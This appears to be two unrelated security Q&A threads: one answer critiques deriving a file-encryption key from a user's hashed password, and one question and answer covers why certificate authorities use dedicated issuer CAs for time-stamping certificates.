The first question I think you need to ask is if file encryption is necessary.  Based on your question it sounds like the answer is yes.  To me that means that you A) should implement file encryption and B) do it well.  What you describe is A but not B which is arguably worse than nothing at all because it may give your users a false sense of security.

Here are my concerns (as an engineer and potential user of your product):

"I know absolutely nothing about crypto" -- Crypto is easy to get wrong and hard to get right, why would you want it implemented by someone who self-admittedly doesn't know anything about crypto?  Think about the products you rely on as a customer, if their security was implemented by someone who didn't know anything about security, would that give you confidence?

"The encryption key is the user hashed password" -- Generating a random, unique symmetric key per file is easy.  Each time you need to store a file, create a new key and encrypt that key with something only the file-owner knows (password may not be a bad choice).  Why would you want all the files to become unrecoverable when they change their password?

"allow the user to provide his own encryption key" -- This is actually an excellent idea and something that Amazon S3 just introduced.  Allow users to provide encrypted files or plaintext files along with an encryption key.  Your servers take on the work of encryption but the user gets control.  Just make sure you purge the encryption key after you use it, don't let it sit around in memory or in log files.


Why generate dedicated issuer CA for TSU certificates? I've observed the practice of generating dedicated issuer CAs for signing TSU (Time-Stamping Unit) certificates instead of just using another existing issuer CA, for example, one used to sign S/MIME certificates or SSL certificates.

Now, some examples of the certification paths I found around:

- CN=DigiCert Assured ID Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US
  - CN=DigiCert SHA2 Assured ID Timestamping CA,OU=www.digicert.com,O=DigiCert Inc,C=US
    - CN=TIMESTAMP-SHA256-2019-10-15,O=DigiCert\, Inc.,C=US

- CN=Chambers of Commerce Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU
  - CN=AC Camerfirma TSA CA,O=AC Camerfirma SA,serialNumber=A82743287,L=Madrid (see current address at www.camerfirma.com/address),emailAddress=ac_camerfirma_tsa_ca@camerfirma.com,C=ES
    - CN=Certificado TSU GSD,O=GSD SAC,L=Lima,emailAddress=consultastsa@gmd-gsd.com.pe,C=PE

- CN=Global Chambersign Root - 2008,O=AC Camerfirma S.A.,serialNumber=A82743287,L=Madrid (see current address at www.camerfirma.com/address),C=EU
  - CN=AC Camerfirma Portugal - 2015,L=Madrid (see current address at www.camerfirma.com/address),serialNumber=A82743287,O=AC Camerfirma S.A.,C=ES
    - CN=DigitalSign Primary CA,L=Guimaraes (see current address at www.digitalsign.pt),serialNumber=PT507015851,O=DigitalSign Certificadora Digital,C=PT
      - CN=DigitalSign TSA CA,O=DigitalSign Certificadora Digital,L=Guimaraes (see current address at www.digitalsign.pt),C=PT,serialNumber=PT507015851
        - CN=SigningHub Timestamping Service,OU=SigningHub Cloud Service,O=Ascertia Ltd,C=GB

Where you can find in all of these cases that the name of the issuing CA suggests that it is dedicated for signing TSU certificates.

Now, I see a valid point for this practice in https://security.stackexchange.com/a/109134/10247, where it says:

  Using different intermediate CAs will allow you to differentiate
  end-entity certificates by their issuer. This makes it possible to
  create trust rules that will limit certificate usage based on their
  issuer.

But I haven't seen until now the need for any relying party to configure a CA to be trusted only to issue TSU certificates (instead of just relying on their generally trusted CAs to correctly identify TSU certificates with the EKU). Anyway, maybe this practice is more common than what my experience dictates and in that case, have you experienced the need for this before?.

Now, in addition to the previous, do you know of any other reason that could justify generating a dedicated issuer CA just for signing TSU certificates?.

The question is too broad and/or can be opinion-based. There are no best design approaches to answer all scenarios and PKI design depends on multiple factors. Factors include (but not limited to):

business requirements
technical resources
licenses
management structure
certificate policies

By deploying separate CA to issue TSA certificates (that are used to timestamp and sign data) you can assign a dedicated management team, protect this CA from possible misuse in the case if there are general-purpose CAs. You can apply different issuance policies (governed by certificate practices) to individual CAs.

PKI is primary business for commercial CA (such as DigiCert, Comodo) and they have enough resources to manage multiple CA groups per purpose: SSL/TLS, code signing, TSA, etc. And most likely every CA group is managed by a dedicated team, so dedicated CAs are necessary in this case.

If you have small certificate volume and all certificates are issued under similar policies, CAs are managed by same team, a dedicated CA may be an overkill.

Every extra CA increases the complexity of the PKI and increase TCO (especially, if HSMs are in use). Thus, the design of PKI tree and how you structure CAs is evaluated in every individual case.